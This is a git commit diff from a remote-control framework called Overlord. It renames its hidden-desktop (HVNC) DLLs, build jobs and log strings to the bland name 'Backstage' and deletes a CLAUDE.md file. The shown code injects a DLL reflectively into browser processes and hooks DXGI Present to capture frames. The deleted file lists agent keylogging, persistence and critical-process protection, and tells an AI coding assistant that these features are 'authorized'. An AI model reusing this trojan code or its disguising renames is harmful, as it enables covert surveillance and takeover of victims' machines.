family friendly naming

This commit is contained in:
KingKDot
2026-05-22 20:34:20 -05:00
parent 238ea09214
commit 38cdf609b0
59 changed files with 110 additions and 249 deletions
+8 -8
View File
@@ -11,32 +11,32 @@ env:
IMAGE_NAME: ${{ github.repository }} IMAGE_NAME: ${{ github.repository }}
jobs: jobs:
build-hvnc-dll: build-backstage-dll:
runs-on: windows-latest runs-on: windows-latest
steps: steps:
- name: Checkout repository - name: Checkout repository
uses: actions/checkout@v4 uses: actions/checkout@v4
- name: Build HVNCInjection DLL with MSVC - name: Build BackstageInjection DLL with MSVC
shell: cmd shell: cmd
run: call build-hvnc-dll.bat run: call build-backstage-dll.bat
- name: Build HVNCCapture DLL with MSVC - name: Build BackstageCapture DLL with MSVC
shell: cmd shell: cmd
run: call build-hvnc-capture-dll.bat run: call build-backstage-capture-dll.bat
- name: Upload HVNC DLLs - name: Upload HVNC DLLs
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
with: with:
name: hvnc-dll name: hvnc-dll
path: | path: |
Overlord-Server/dist-clients/HVNCInjection.x64.dll Overlord-Server/dist-clients/BackstageInjection.x64.dll
Overlord-Server/dist-clients/HVNCCapture.x64.dll Overlord-Server/dist-clients/BackstageCapture.x64.dll
if-no-files-found: error if-no-files-found: error
retention-days: 1 retention-days: 1
build-and-push: build-and-push:
needs: build-hvnc-dll needs: build-backstage-dll
runs-on: ubuntu-latest runs-on: ubuntu-latest
permissions: permissions:
contents: read contents: read
@@ -12,7 +12,7 @@
</ItemGroup> </ItemGroup>
<PropertyGroup Label="Globals"> <PropertyGroup Label="Globals">
<ProjectGuid>{A1B2C3D4-1234-5678-9ABC-DEF012345678}</ProjectGuid> <ProjectGuid>{A1B2C3D4-1234-5678-9ABC-DEF012345678}</ProjectGuid>
<RootNamespace>HVNCCapture</RootNamespace> <RootNamespace>BackstageCapture</RootNamespace>
<Keyword>Win32Proj</Keyword> <Keyword>Win32Proj</Keyword>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
@@ -64,7 +64,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization> <WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
@@ -93,7 +93,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization> <WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
@@ -1,5 +1,5 @@
//===============================================================================================// //===============================================================================================//
// HVNCCapture — DXGI SwapChain::Present hook implementation. // BackstageCapture — DXGI SwapChain::Present hook implementation.
// //
// Compiled as C++ (CompileAsCpp in vcxproj). Uses C++ COM calling convention // Compiled as C++ (CompileAsCpp in vcxproj). Uses C++ COM calling convention
// (obj->Method(...) rather than obj->lpVtbl->Method(obj, ...)). // (obj->Method(...) rather than obj->lpVtbl->Method(obj, ...)).
@@ -145,13 +145,13 @@ static BOOL EnsureSharedMemory(UINT width, UINT height) {
g_ShmHandle = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, sizeHigh, sizeLow, wShmName); g_ShmHandle = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, sizeHigh, sizeLow, wShmName);
if (!g_ShmHandle) { if (!g_ShmHandle) {
DebugLog("[HVNCCapture] CreateFileMappingW failed: %lu\n", GetLastError()); DebugLog("[BackstageCapture] CreateFileMappingW failed: %lu\n", GetLastError());
return FALSE; return FALSE;
} }
g_ShmView = MapViewOfFile(g_ShmHandle, FILE_MAP_WRITE, 0, 0, needed); g_ShmView = MapViewOfFile(g_ShmHandle, FILE_MAP_WRITE, 0, 0, needed);
if (!g_ShmView) { if (!g_ShmView) {
DebugLog("[HVNCCapture] MapViewOfFile failed: %lu\n", GetLastError()); DebugLog("[BackstageCapture] MapViewOfFile failed: %lu\n", GetLastError());
CloseHandle(g_ShmHandle); CloseHandle(g_ShmHandle);
g_ShmHandle = NULL; g_ShmHandle = NULL;
return FALSE; return FALSE;
@@ -167,7 +167,7 @@ static BOOL EnsureSharedMemory(UINT width, UINT height) {
g_FrameEvent = CreateEventW(NULL, FALSE, FALSE, wEvtName); g_FrameEvent = CreateEventW(NULL, FALSE, FALSE, wEvtName);
} }
DebugLog("[HVNCCapture] Shared memory created: %s (%zu bytes, %ux%u)\n", shmName, needed, width, height); DebugLog("[BackstageCapture] Shared memory created: %s (%zu bytes, %ux%u)\n", shmName, needed, width, height);
return TRUE; return TRUE;
} }
@@ -210,12 +210,12 @@ static BOOL EnsureStaging(ID3D11Device* device, UINT width, UINT height, DXGI_FO
HRESULT hr = device->CreateTexture2D(&desc, NULL, &g_Staging[0]); HRESULT hr = device->CreateTexture2D(&desc, NULL, &g_Staging[0]);
if (FAILED(hr)) { if (FAILED(hr)) {
DebugLog("[HVNCCapture] CreateTexture2D staging[0] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt); DebugLog("[BackstageCapture] CreateTexture2D staging[0] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
return FALSE; return FALSE;
} }
hr = device->CreateTexture2D(&desc, NULL, &g_Staging[1]); hr = device->CreateTexture2D(&desc, NULL, &g_Staging[1]);
if (FAILED(hr)) { if (FAILED(hr)) {
DebugLog("[HVNCCapture] CreateTexture2D staging[1] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt); DebugLog("[BackstageCapture] CreateTexture2D staging[1] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
g_Staging[0]->Release(); g_Staging[0] = NULL; g_Staging[0]->Release(); g_Staging[0] = NULL;
return FALSE; return FALSE;
} }
@@ -223,7 +223,7 @@ static BOOL EnsureStaging(ID3D11Device* device, UINT width, UINT height, DXGI_FO
g_StagingW = width; g_StagingW = width;
g_StagingH = height; g_StagingH = height;
g_StagingFmt = fmt; g_StagingFmt = fmt;
DebugLog("[HVNCCapture] Staging textures created: %ux%u fmt=%u\n", width, height, (unsigned)stageFmt); DebugLog("[BackstageCapture] Staging textures created: %ux%u fmt=%u\n", width, height, (unsigned)stageFmt);
return TRUE; return TRUE;
} }
@@ -372,7 +372,7 @@ static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
return; // GPU hasn't finished the previous copy — skip return; // GPU hasn't finished the previous copy — skip
} }
if (FAILED(hr)) { if (FAILED(hr)) {
DebugLog("[HVNCCapture] Map failed: 0x%08x\n", hr); DebugLog("[BackstageCapture] Map failed: 0x%08x\n", hr);
return; return;
} }
@@ -416,7 +416,7 @@ static void CaptureFrame(IDXGISwapChain* pSwapChain) {
CaptureFrameInner(pSwapChain); CaptureFrameInner(pSwapChain);
} }
__except (EXCEPTION_EXECUTE_HANDLER) { __except (EXCEPTION_EXECUTE_HANDLER) {
DebugLog("[HVNCCapture] SEH exception 0x%08x in CaptureFrame — skipping frame\n", DebugLog("[BackstageCapture] SEH exception 0x%08x in CaptureFrame — skipping frame\n",
GetExceptionCode()); GetExceptionCode());
} }
LeaveCriticalSection(&g_Lock); LeaveCriticalSection(&g_Lock);
@@ -460,7 +460,7 @@ static BOOL GetDXGIPresent(void** ppPresent, void** ppPresent1, void** ppResizeB
HMODULE hD3D11 = GetModuleHandleA("d3d11.dll"); HMODULE hD3D11 = GetModuleHandleA("d3d11.dll");
if (!hD3D11) hD3D11 = LoadLibraryA("d3d11.dll"); if (!hD3D11) hD3D11 = LoadLibraryA("d3d11.dll");
if (!hD3D11) { if (!hD3D11) {
DebugLog("[HVNCCapture] d3d11.dll not available\n"); DebugLog("[BackstageCapture] d3d11.dll not available\n");
return FALSE; return FALSE;
} }
@@ -472,7 +472,7 @@ static BOOL GetDXGIPresent(void** ppPresent, void** ppPresent1, void** ppResizeB
PFN_D3D11CreateDeviceAndSwapChain pCreate = PFN_D3D11CreateDeviceAndSwapChain pCreate =
(PFN_D3D11CreateDeviceAndSwapChain)GetProcAddress(hD3D11, "D3D11CreateDeviceAndSwapChain"); (PFN_D3D11CreateDeviceAndSwapChain)GetProcAddress(hD3D11, "D3D11CreateDeviceAndSwapChain");
if (!pCreate) { if (!pCreate) {
DebugLog("[HVNCCapture] D3D11CreateDeviceAndSwapChain not found\n"); DebugLog("[BackstageCapture] D3D11CreateDeviceAndSwapChain not found\n");
return FALSE; return FALSE;
} }
@@ -506,7 +506,7 @@ static BOOL GetDXGIPresent(void** ppPresent, void** ppPresent1, void** ppResizeB
} }
if (FAILED(hr) || !pSwapChain) { if (FAILED(hr) || !pSwapChain) {
DebugLog("[HVNCCapture] Failed to create dummy swapchain: 0x%08x\n", hr); DebugLog("[BackstageCapture] Failed to create dummy swapchain: 0x%08x\n", hr);
if (pCtx) pCtx->Release(); if (pCtx) pCtx->Release();
if (pDevice) pDevice->Release(); if (pDevice) pDevice->Release();
if (pSwapChain) pSwapChain->Release(); if (pSwapChain) pSwapChain->Release();
@@ -533,7 +533,7 @@ static BOOL GetDXGIPresent(void** ppPresent, void** ppPresent1, void** ppResizeB
pDevice->Release(); pDevice->Release();
pSwapChain->Release(); pSwapChain->Release();
DebugLog("[HVNCCapture] vtable Present=%p Present1=%p ResizeBuffers=%p\n", DebugLog("[BackstageCapture] vtable Present=%p Present1=%p ResizeBuffers=%p\n",
*ppPresent, *ppPresent1, *ppResizeBuffers); *ppPresent, *ppPresent1, *ppResizeBuffers);
return TRUE; return TRUE;
} }
@@ -550,7 +550,7 @@ void InstallDXGICapture(void) {
MH_STATUS status = MH_Initialize(); MH_STATUS status = MH_Initialize();
if (status != MH_OK && status != MH_ERROR_ALREADY_INITIALIZED) { if (status != MH_OK && status != MH_ERROR_ALREADY_INITIALIZED) {
DebugLog("[HVNCCapture] MH_Initialize failed: %d\n", status); DebugLog("[BackstageCapture] MH_Initialize failed: %d\n", status);
return; return;
} }
@@ -559,7 +559,7 @@ void InstallDXGICapture(void) {
void* pResizeBuffers = NULL; void* pResizeBuffers = NULL;
if (!GetDXGIPresent(&pPresent, &pPresent1, &pResizeBuffers)) { if (!GetDXGIPresent(&pPresent, &pPresent1, &pResizeBuffers)) {
DebugLog("[HVNCCapture] Failed to discover DXGI vtable\n"); DebugLog("[BackstageCapture] Failed to discover DXGI vtable\n");
return; return;
} }
@@ -567,9 +567,9 @@ void InstallDXGICapture(void) {
status = MH_CreateHook(pPresent, (LPVOID)HookedPresent, (LPVOID*)&g_OrigPresent); status = MH_CreateHook(pPresent, (LPVOID)HookedPresent, (LPVOID*)&g_OrigPresent);
if (status == MH_OK) { if (status == MH_OK) {
MH_EnableHook(pPresent); MH_EnableHook(pPresent);
DebugLog("[HVNCCapture] Present hooked at %p\n", pPresent); DebugLog("[BackstageCapture] Present hooked at %p\n", pPresent);
} else { } else {
DebugLog("[HVNCCapture] MH_CreateHook Present failed: %d\n", status); DebugLog("[BackstageCapture] MH_CreateHook Present failed: %d\n", status);
} }
} }
@@ -577,9 +577,9 @@ void InstallDXGICapture(void) {
status = MH_CreateHook(pPresent1, (LPVOID)HookedPresent1, (LPVOID*)&g_OrigPresent1); status = MH_CreateHook(pPresent1, (LPVOID)HookedPresent1, (LPVOID*)&g_OrigPresent1);
if (status == MH_OK) { if (status == MH_OK) {
MH_EnableHook(pPresent1); MH_EnableHook(pPresent1);
DebugLog("[HVNCCapture] Present1 hooked at %p\n", pPresent1); DebugLog("[BackstageCapture] Present1 hooked at %p\n", pPresent1);
} else { } else {
DebugLog("[HVNCCapture] MH_CreateHook Present1 failed: %d\n", status); DebugLog("[BackstageCapture] MH_CreateHook Present1 failed: %d\n", status);
} }
} }
@@ -587,13 +587,13 @@ void InstallDXGICapture(void) {
status = MH_CreateHook(pResizeBuffers, (LPVOID)HookedResizeBuffers, (LPVOID*)&g_OrigResizeBuffers); status = MH_CreateHook(pResizeBuffers, (LPVOID)HookedResizeBuffers, (LPVOID*)&g_OrigResizeBuffers);
if (status == MH_OK) { if (status == MH_OK) {
MH_EnableHook(pResizeBuffers); MH_EnableHook(pResizeBuffers);
DebugLog("[HVNCCapture] ResizeBuffers hooked at %p\n", pResizeBuffers); DebugLog("[BackstageCapture] ResizeBuffers hooked at %p\n", pResizeBuffers);
} else { } else {
DebugLog("[HVNCCapture] MH_CreateHook ResizeBuffers failed: %d\n", status); DebugLog("[BackstageCapture] MH_CreateHook ResizeBuffers failed: %d\n", status);
} }
} }
DebugLog("[HVNCCapture] DXGI hooks installed (PID %lu)\n", GetCurrentProcessId()); DebugLog("[BackstageCapture] DXGI hooks installed (PID %lu)\n", GetCurrentProcessId());
} }
void RemoveDXGICapture(void) { void RemoveDXGICapture(void) {
@@ -622,7 +622,7 @@ void RemoveDXGICapture(void) {
g_LockInitialized = FALSE; g_LockInitialized = FALSE;
} }
DebugLog("[HVNCCapture] Cleaned up\n"); DebugLog("[BackstageCapture] Cleaned up\n");
} }
#ifdef __cplusplus #ifdef __cplusplus
@@ -1,5 +1,5 @@
//===============================================================================================// //===============================================================================================//
// HVNCCapture — DXGI SwapChain::Present hook for fast HVNC frame capture. // BackstageCapture — DXGI SwapChain::Present hook for fast HVNC frame capture.
// //
// Injected into browser processes running on the hidden desktop. Hooks // Injected into browser processes running on the hidden desktop. Hooks
// IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer // IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer
@@ -1,5 +1,5 @@
//===============================================================================================// //===============================================================================================//
// HVNCCapture — ReflectiveDll.c // BackstageCapture — ReflectiveDll.c
// //
// Entry point for the reflective DLL. Called by ReflectiveLoader after the DLL // Entry point for the reflective DLL. Called by ReflectiveLoader after the DLL
// is mapped into memory. Defers DXGI hook installation to a worker thread // is mapped into memory. Defers DXGI hook installation to a worker thread
@@ -28,7 +28,7 @@
</ItemGroup> </ItemGroup>
<PropertyGroup Label="Globals"> <PropertyGroup Label="Globals">
<ProjectGuid>{483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC}</ProjectGuid> <ProjectGuid>{483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC}</ProjectGuid>
<RootNamespace>HVNCInjection</RootNamespace> <RootNamespace>BackstageInjection</RootNamespace>
<Keyword>Win32Proj</Keyword> <Keyword>Win32Proj</Keyword>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
@@ -125,7 +125,7 @@
<Optimization>MinSpace</Optimization> <Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader /> <PrecompiledHeader />
@@ -143,7 +143,7 @@
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile> <ClCompile>
<Optimization>Disabled</Optimization> <Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild> <MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
@@ -167,7 +167,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization> <WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
@@ -196,7 +196,7 @@
<Optimization>MaxSpeed</Optimization> <Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader /> <PrecompiledHeader />
@@ -216,7 +216,7 @@
<Optimization>MinSpace</Optimization> <Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader> <PrecompiledHeader>
@@ -244,7 +244,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization> <WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
-139
View File
@@ -1,139 +0,0 @@
# CLAUDE.md
This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.
## Project Overview
**Overlord** is an authorized red-team C2 (command & control) framework consisting of:
- **Overlord-Server**: TypeScript/Bun web server + REST API + WebSocket C2 (port 5173)
- **Overlord-Client**: Go agent deployed on target systems
- **Overlord-Desktop**: Tauri 2 fat client for operators (Rust backend + system webview)
- **Plugin System**: Native plugins (C, C++, Rust, Go) with optional server-side JS
HVNC, keylogging, screen/audio capture, and persistence mechanisms are intentional, authorized features.
## Commands
### Server (Overlord-Server) — runtime: Bun
```bash
cd Overlord-Server
bun run dev # Start with hot reload
bun run start # Run from src/index.ts
bun run build # Build + minify CSS + vendor assets
bun run build:prod:win # Compile Windows standalone executable
bun run build:prod:linux # Compile Linux standalone executable
bun run build:css # Compile Tailwind CSS
bun run watch:css # Watch CSS changes
bun test ./src # Run all tests (*.test.ts)
```
### Client (Overlord-Client) — runtime: Go
```bash
cd Overlord-Client
go test ./... # Run all tests
go build ./cmd/agent # Build agent binary
```
### Desktop (Overlord-Desktop) — runtime: Tauri 2 (Rust + system webview)
```bash
cd Overlord-Desktop
bun install
bun run vendor # one-time: copy Inter + Font Awesome into src/vendor/
bun run start # Dev: tauri dev
bun run build:win # Windows NSIS installer
bun run build:mac # macOS DMG
bun run build:linux # Linux AppImage
```
Output lands in `Overlord-Desktop/src-tauri/target/release/bundle/`.
### Docker
```bash
# Linux (host networking)
docker compose up -d
docker compose up --build -d
# Windows/macOS Docker Desktop
docker compose -f docker-compose.windows.yml up -d
```
### Agent & DLL Builds (from repo root)
```bash
./build-clients.sh # Cross-compile all agent targets
./build-hvnc-dll.sh # Build HVNC injection DLL (C++)
./build-hvnc-capture-dll.sh
./build-desktop.sh # Build Tauri desktop app
```
### Dev helpers (from repo root)
```bash
./start-dev.sh # Start server (bg) + client (fg)
./generate-certs.sh # Generate self-signed TLS certs
```
## Architecture
### Communication Flow
```
Agent (Go) <--wss WebSocket--> Server (Bun/Node) <--HTTP/WS--> Web UI / Desktop (Tauri)
```
- Agent connects to `wss://server:5173/ws` using MsgPack-encoded `WireMessage`
- Server fans out to operator web UI and Desktop app via separate WebSocket sessions
- REST API handles auth, builds, file downloads, plugin management
### Server Subsystems (`Overlord-Server/src/`)
| File/Dir | Role |
|---|---|
| `index.ts` → `main-server.ts` | Entry: HTTP + WebSocket server init |
| `protocol.ts` | Wire protocol types (`WireMessage`, `PluginManifest`) |
| `db.ts` | SQLite operations (users, clients, builds, audit, files) |
| `auth.ts` / `rbac.ts` | JWT auth + role-based access (admin/user/viewer) |
| `wsHandlers.ts` / `wsValidation.ts` | Dispatch + validate incoming WS messages |
| `server/ws-console-rd-hvnc.ts` | Console / RDP / HVNC streaming |
| `server/ws-desktop-audio.ts` | Audio capture streaming |
| `server/ws-file-process-proxy-keylogger.ts` | File, process, keylog WS handlers |
| `server/build-process.ts` | On-demand agent compilation |
| `server/toolchain-manager.ts` | Downloads cross-compile toolchains (mingw, NDK, UPX, ldid) |
| `server/plugin-state-bundle.ts` | ZIP extraction + plugin loading |
| `server/plugin-runtime/` | Isolated per-plugin Node.js VM with private SQLite |
| `server/auto-script-dispatch.ts` | Run scripts automatically on agent connection |
| `server/routes/` | HTTP endpoint handlers (auth, build, client, plugin, file) |
### Client Packages (`Overlord-Client/cmd/agent/`)
| Package | Role |
|---|---|
| `session.go` | Main `runClient()` loop, reconnect logic |
| `transport/` | WebSocket client (`nhooyr.io/websocket`), auto-reconnect |
| `wire/` | MsgPack encode/decode for `WireMessage` |
| `handlers/` | File ops, process mgmt (Windows & Unix build tags) |
| `capture/` | Screen & audio capture |
| `console/` | Shell execution (cmd/bash/PowerShell via PTY) |
| `keylogger/` | Keystroke capture |
| `plugins/` | In-memory native plugin loader (PE loader / memfd / dylib) |
| `persistence/` | Registry + startup folder persistence |
| `criticalproc/` | Critical process protection (Windows) |
| `mutex/` | Single-instance lock |
### Plugin System
- **Bundle**: ZIP containing platform binaries (`<id>-{os}-{arch}.{so|dll|dylib}`) + optional web assets + optional `server.js`
- **C ABI**: `PluginOnLoad`, `PluginOnEvent`, `PluginOnUnload`, `PluginGetRuntime`
- **Server-side JS** (`server.js`): runs in isolated Node.js VM per plugin; has private SQLite (`plugin.db`) and RPC bridge to host
- See `plugins/PLUGINS.md` for full plugin development guide
### Desktop (Overlord-Desktop)
- Tauri 2 (Rust + system webview): much smaller binaries than Electron (~10 MB NSIS)
- `src-tauri/src/lib.rs`: window management, connect/navigate IPC commands, `on_new_window` handler that turns `window.open` calls from the web UI into native popup webviews (so cookies / `SameSite=Strict` auth inherit correctly)
- `src/`: local connect screen (HTML/CSS/JS) — once connected, the main window navigates to the remote Overlord UI
- TLS: passes `--ignore-certificate-errors` to WebView2 on Windows for self-signed certs (macOS/Linux: issue a trusted cert)
- Persists connection settings to the Tauri app-config dir (`%APPDATA%\com.overlord.desktop\connection.json` on Windows)
